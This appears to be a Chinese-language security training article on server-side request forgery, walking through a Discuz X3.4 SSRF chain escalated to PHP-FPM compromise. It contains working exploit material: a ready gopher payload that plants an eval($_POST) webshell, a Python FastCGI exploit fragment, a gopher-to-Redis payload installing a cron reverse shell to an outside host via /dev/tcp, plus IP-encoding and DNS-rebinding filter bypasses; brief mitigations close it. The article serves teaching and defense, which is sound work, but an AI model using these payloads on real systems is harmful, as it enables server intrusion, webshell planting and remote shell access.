SSRF(Server-side Request Forge, 服务端请求伪造)。由攻击者构造的攻击链接传给服务端执行造成的漏洞,一般用来在外网探测或攻击内网服务。
主要形成原因是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。
curl
curl 是常用的命令行工具,可以用来请求 Web 服务器。同时也支持其他协议,如[FTP](https://baike.baidu.com/item/FTP)、[FTPS](https://baike.baidu.com/item/FTPS)、[HTTP](https://baike.baidu.com/item/HTTP)、[HTTPS](https://baike.baidu.com/item/HTTPS)、[TFTP](https://baike.baidu.com/item/TFTP)、[SFTP](https://baike.baidu.com/item/SFTP)、[Gopher](https://baike.baidu.com/item/Gopher)、[SCP](https://baike.baidu.com/item/SCP)、[Telnet](https://baike.baidu.com/item/Telnet)、DICT、[FILE](https://baike.baidu.com/item/FILE)、[LDAP](https://baike.baidu.com/item/LDAP)、LDAPS、[IMAP](https://baike.baidu.com/item/IMAP)、[POP3](https://baike.baidu.com/item/POP3)、[SMTP](https://baike.baidu.com/item/SMTP)和 RTSP,curl中也包含了用于程序开发的libcurl。
下段为未做任何防御的curl执行代码:
$ch = curl_init();
$url = $_GET['url'];
curl_setopt($ch, CURLOPT_URL, $url);
echo $_GET['url'];
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);#设置curl函数可以跟随301.302跳转
curl_setopt($ch, CURLOPT_HEADER, 1); #设置curl函数返回头部信息
curl_setopt($ch,CURLOPT_RETURNTRANSFER,0);
curl_exec($ch);
$status = curl_getinfo($ch);
var_dump($status);
curl_close($ch);
?>
file_get_contents
通常file_get_contents在php函数中经常和**php://input**伪协议结合利用,当file_get_contents函数的参数为url地址加载文件或者图片时,也会造成远程文件包含,或者ssrf漏洞。
if(isset($_POST['url']))
{
$content=file_get_contents($_POST['url']);
$filename='./images/'.rand().'.img';\
file_put_contents($filename,$content);
echo $_POST['url'];
$img=".$filename."\"/>";
}
echo $img;
?>
fsockopen
初始化一个套接字连接到指定主机。
<?php
$host=$_GET['url'];
$fp = fsockopen("$host", 80, $errno, $errstr, 30);
if (!$fp) {
echo "$errstr ($errno)
\n";
} else {
$out = "GET / HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n\r\n";
fwrite($fp, $out);
while (!feof($fp)) {
echo fgets($fp, 128);
}
fclose($fp);
}
?>
2018年12月3日,@L3mOn公开了一个Discuz x3.4版本的前台SSRF,通过利用一个二次跳转加上两个解析问题,可以巧妙地完成SSRF攻击链。
而通过ssrf漏洞,可以攻击内网中其他服务getshell,此环境选择fastcgi作为目标,在该部分,首先介绍Discuz3.4X的ssrf漏洞形成原因,再利用ssrf漏洞攻击fastcgi。
- php版本大于5.3
- 7.45 < = libcurl版本 < = 7.54
- DZ运行在80端口
- linux下不存在该漏洞(curl无法解析http://)
上文中,介绍了3个可能产生ssrf漏洞的函数,Discuz3.4X的ssrf漏洞是由于对curl函数中参数过滤不严格所致。
漏洞的产生点为: source/function/function_filesock.php:89
执行该段代码的函数为 **function** **__dfsockopen()**,对次函数进行全局搜索。
在 source/function/function_core.php:199行,调用的该函数,继续搜索跟进。
在 source/class/class_image.php:130行,调用了**dfsockopen()**,该函数为**function init()**,继续跟进。
搜索init函数,发现搜索结果过多,根据函数的参数,进行正则模糊匹配,**init\\(.+\\)**,找到**function Thumb($source, $target, $thumbwidth, $thumbheight, $thumbtype = 1, $nosuffix = 0)**。继续跟进发现初始漏洞点: source/module/misc/misc_imgcropper.php:55。
可以在55行中发现,**cutimg**通过**$_GET**方式获取,Discuz是基于mvc模式开发,查看根目录下misc.php文件。
而该段代码又在if条件语句中。
所以构造如下url:
http://127.0.0.1/misc.php?mod=imgcropper&imgcroppersubmit=1&picflag=2&formhash=af89856e formhash为防止csrf的token,右键源代码搜索即可, 然后进行调试。
调试过程中,发现source/class/helper/helper_form.php:17行存在验证。
public static function submitcheck($var, $allowget = 0, $seccodecheck = 0, $secqaacheck = 0) {
if(!getgpc($var)) {
return FALSE;
} else {
global $_G;
if($allowget || ($_SERVER['REQUEST_METHOD'] == 'POST' && !empty($_GET['formhash']) && $_GET['formhash'] == formhash() && empty($_SERVER['HTTP_X_FLASH_VERSION']) && (empty($_SERVER['HTTP_REFERER'])
从代码中发现,需要使用POST方式,GET传递formhash的值,以及HTTP_REFERER值不为空,改为POST方式,继续调试。
function init($method, $source, $target, $nosuffix = 0) {
global $_G;
$this->errorcode = 0;
if(empty($source)) {
return -2;
}
$parse = parse_url($source);
if(isset($parse['host'])) {
if(empty($target)) {
return -2;
}
$data = dfsockopen($source);
$prefix.$cutimg的值为$source。$prefix默认值为'/',$cutimg的值可控。$source进入parse_url函数需解析处host,而我们的最终目的是通过curl执行file,dict,gopher等协议,首先令$cutimg=/file:///etc/passwd。
继续调试,进入到_dfsockopen函数中执行curl。
curl_setopt($ch, CURLOPT_URL, $scheme.'://'.($ip ? $ip : $host).($port ? ':'.$port : '').$path);
$source的值为//file///etc/passwd,如上图所示,在function_filesock.php:59,在$source前添加了://,curl函数执行在$source前添加了协议http,而在windows下,curl函数可以识别http://:/为http://localhost,因此,在此处curl函数只可以执行http协议。那么我们就需要绕过该限制,寻找301或302跳转。
dz在logout的时候会从referer参数(非header头参数)中获取值,然后进入301跳转,而这里唯一的要求是对host有一定的验证,在该验证的部分,需要保证传入referer值和传出的referer不变。
/source/function/function_core.php:1498
只要保证1517行,解析出的host值长度为1,就可以保证传入referer值和传出的referer相同。后面跳转后的地址是进入了curl中进行请求。所以这里牵涉到一个东西就是`parse_url`与`curl`的差异性。当地址为下面链接时,parse_url解析出来为`localhost`,但是进入curl后便是`www.baidu.com`。ps:此处libcurl的版本有关,实验libcurl的版本为7.45(linux),windows(7.55)均可。
http://localhost#@www.baidu.com/
因此,通过cutimg传入301跳转的地址,从而绕后http://:/的限制,301跳转到攻击者的vps,攻击者vps再进行302跳转,那么最终curl函数执行攻击者vps服务器上的代码,达到执行任意协议的目的。
vps的302.php:
**ssrf** **exp(post方式):**
http://127.0.0.1/discuz/upload/misc.php?mod=imgcropper&picflag=2&imgcroppersubmit=1&cutimg=/localhost/…//discuz/upload/member.php?mod=logging%26action=logout%26referer=http://a%2523%2540192.168.160.169%26quickforward%3d1&formhash=8341c373
ps: /localhost/…/是返回上一级目录
Fastcgi是一种通信协议,与http协议类似,都是进行数据交换的通道。fastcgi协议是服务器中间件与编程语言数据通信的协议。
Fastcgi协议由多个record组成,record有header和body。服务器中间件将这二者按照fastcgi的规则封装好发送给语言后端,语言后端解码以后拿到具体数据,进行指定操作,并将结果再按照该协议封装好后返回给服务器中间件。
FPM其实是一个fastcgi协议解析器,Nginx等服务器中间件将用户请求按照fastcgi的规则打包好通过TCP传给FPM。
例如用户访问`http://127.0.0.1/index.php?a=1&b=2`,如果web目录是`/var/www/html`,那么Nginx会将这个请求变成如下key-value对:
{
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'GET',
'SCRIPT_FILENAME': '/var/www/html/index.php',
'SCRIPT_NAME': '/index.php',
'QUERY_STRING': '?a=1&b=2',
'REQUEST_URI': '/index.php?a=1&b=2',
'DOCUMENT_ROOT': '/var/www/html',
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '12345',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1'
}
这个数组其实就是PHP中`$_SERVER`数组的一部分,也就是PHP里的环境变量。但环境变量的作用不仅是填充`$_SERVER`数组,`SCRIPT_FILENAME`也是告诉fpm:“我要执行哪个PHP文件”。
在fpm某个版本之前,我们可以将SCRIPT_FILENAME
的值指定为任意后缀文件,比如/etc/passwd
;但后来,fpm的默认配置中增加了一个选项security.limit_extensions
:
security.limit_extensions = .php .php3 .php4 .php5 .php7
默认只可以执行.php文件的后缀。其限定了只有某些后缀的文件允许被fpm执行,默认是`.php`。所以,当我们再传入`/etc/passwd`的时候,将会返回`Access denied`。
由于这个配置项的限制,如果想利用PHP-FPM的未授权访问漏洞,首先就得找到一个已存在的PHP文件,并且该文件有权限执行。
那么,即使我们能控制`SCRIPT_FILENAME`,让fpm执行任意文件,也只是执行目标服务器上的文件,并不能执行我们需要其执行的文件。
而在PHP.INI中有两个配置项,`auto_prepend_file`和`auto_append_file`。
auto_prepend_file
是告诉PHP,在执行目标文件之前,先包含auto_prepend_file
中指定的文件;
auto_append_file
是告诉PHP,在执行完成目标文件后,包含auto_append_file
指向的文件。
如果我们设置auto_prepend_file
为php://input
,那么就等于在执行任何php文件前都要包含一遍POST的内容。所以,我们只需要把待执行的代码放在Body中,他们就能被执行了。(还需要开启远程文件包含选项allow_url_include
)
那么,我们如何设置auto_prepend_file
的值?
PHP-FPM的两个环境变量,PHP_VALUE
和PHP_ADMIN_VALUE
。这两个环境变量就是用来设置PHP配置项的,PHP_VALUE
可以设置模式为PHP_INI_USER
和PHP_INI_ALL
的选项,PHP_ADMIN_VALUE
可以设置所有选项。(disable_functions
除外,这个选项是PHP加载的时候就确定了,在范围内的函数直接不会被加载到PHP上下文中)
content = args.code
params = {
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'POST',
'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
'SCRIPT_NAME': uri,
'QUERY_STRING': '',
'REQUEST_URI': uri,
'DOCUMENT_ROOT': documentRoot,
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '9985',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1',
'CONTENT_TYPE': 'application/text',
'CONTENT_LENGTH': "%d" % len(content),
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'
}
response = client.request(params, content)
其中content为我们要执行的php任意代码,例如****
首先,我们在存在fastcgi漏洞的环境上执行该python代码:
python fpm.py 127.0.0.1 "/home/wwwroot/default/p.php" -p 2333
然后,使用nc监听2333端口:
nc -lvp 2333 > 1.txt
然后将1.txt文件内容url编码:
import sys
f = open(sys.argv[1])
ff = f.read()
from urllib import quote
print quote(ff)
python urlencode.py 1.txt
将获取的编码放到vps服务器上,并将该文件设为服务器主页面。
header("location:gopher://127.0.0.1:9000/_%01%01H%14%00%08%00%00%00%01%00%00%00%00%00%00%01%04H%14%02%3C%00%00%0E%03CONTENT_LENGTH114%0C%10CONTENT_TYPEapplication/text%0B%04REMOTE_PORT9985%0B%09SERVER_NAMElocalhost%11%0BGATEWAY_INTERFACEFastCGI/1.0%0F%0ESERVER_SOFTWAREphp/fcgiclient%0B%09REMOTE_ADDR127.0.0.1%0F7SCRIPT_FILENAME/home/wwwroot/default/Discuz3_4-master/upload/index.php%0B7SCRIPT_NAME/home/wwwroot/default/Discuz3_4-master/upload/index.php%09%1FPHP_VALUEauto_prepend_file%20%3D%20php%3A//input%0E%04REQUEST_METHODPOST%0B%02SERVER_PORT80%0F%08SERVER_PROTOCOLHTTP/1.1%0C%00QUERY_STRING%0F%16PHP_ADMIN_VALUEallow_url_include%20%3D%20On%0D%01DOCUMENT_ROOT/%0B%09SERVER_ADDR127.0.0.1%0B7REQUEST_URI/home/wwwroot/default/Discuz3_4-master/upload/index.php%01%04H%14%00%00%00%00%01%05H%14%00r%00%00%3C%3Fphp%20%20system%28%22echo%20%5C%3C%3Fphp%20eval%5C%28%5C%24%5C_POST%5B1%5D%5C%29%5C%3B%5C%3F%5C%3E%20%3E%20/home/wwwroot/default/Discuz3_4-master/upload/shell.php%22%29%3F%3E%01%05H%14%00%00%00%00%0A");
?>
最后,我们执行上文的dz ssrf的exp,便会通过301跳转到该php文件上,再通过302跳转,最终执行curl(gopher://............)达到攻击fastcgi getshell的目的。
一些开发者会通过对传过来的URL参数进行正则匹配的方式来过滤掉内网IP,如采用如下正则表达式:
^10(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){3}$
^172\.([1][6-9]|[2]\d|3[01])(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){2}$
^192\.168(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){2}$
对于这种过滤我们可以采用改编IP的写法的方式进行绕过,例如192.168.0.1这个IP地址我们可以改写成:
(1)、8进制格式:0300.0250.0.1
(2)、16进制格式:0xC0.0xA8.0.1
(3)、10进制整数格式:3232235521
(4)、16进制整数格式:0xC0A80001
还有一种特殊的省略模式,例如10.0.0.1这个IP可以写成10.1。
在某些情况下,后端程序可能会对访问的URL进行解析,对解析出来的host地址进行过滤。这时候可能会出现对URL参数解析不当,导致可以绕过过滤。
http://[email protected]/
在网络上存在一个很神奇的服务,[http://xip.io](http://xip.io/) 当我们访问这个网站的子域名的时候,例如192.168.0.1.xip.io,就会自动重定向到192.168.0.1。
由于上述方法中包含了192.168.0.1这种内网IP地址,可能会被正则表达式过滤掉,我们可以通过短地址的方式来绕过。经过测试发现新浪,百度的短地址服务并不支持IP模式,所以这里使用的是[http://tinyurl.com](http://tinyurl.com/)所提供的短地址服务。
GOPHER协议:通过GOPHER我们在一个URL参数中构造Post或者Get请求,从而达到攻击内网应用的目的。例如我们可以使用GOPHER协议对与内网的Redis服务进行攻击,可以使用如下的URL:
gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1* * * * bash -i >& /dev/tcp/172.19.23.228/23330>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a
对于常见的IP限制,后端服务器可能通过下图的流程进行IP过滤:
对于用户请求的URL参数,首先服务器端会对其进行DNS解析,然后对于DNS服务器返回的IP地址进行判断,如果在黑名单中,就pass掉。
但是在整个过程中,第一次去请求DNS服务进行域名解析到第二次服务端去请求URL之间存在一个时间查,利用这个时间差,我们可以进行DNS 重绑定攻击。
要完成DNS重绑定攻击,我们需要一个域名,并且将这个域名的解析指定到我们自己的DNS Server,在我们的可控的DNS Server上编写解析服务,设置TTL时间为0。这样就可以进行攻击了,完整的攻击流程为:
(1)、服务器端获得URL参数,进行第一次DNS解析,获得了一个非内网的IP
(2)、对于获得的IP进行判断,发现为非黑名单IP,则通过验证
(3)、服务器端对于URL进行访问,由于DNS服务器设置的TTL为0,所以再次进行DNS解析,这一次DNS服务器返回的是内网地址。
(4)、由于已经绕过验证,所以服务器端返回访问内网资源的结果。
限制协议为HTTP、HTTPS
禁止30x跳转
设置URL白名单或者限制内网IP
文章作者迟忠旸:深信服安全服务认证专家,产业教育中心资深讲师,曾任职于中国电子科技网络信息安全有限公司,担任渗透测试工程师、安全讲师,多次为政府部门、大中型企业提供网络安全培训;具有丰富的内、外网渗透测试和红蓝对抗实战经验,擅长CTF、Web安全渗透测试、内网安全渗透测试、红蓝对抗等多个方向课程。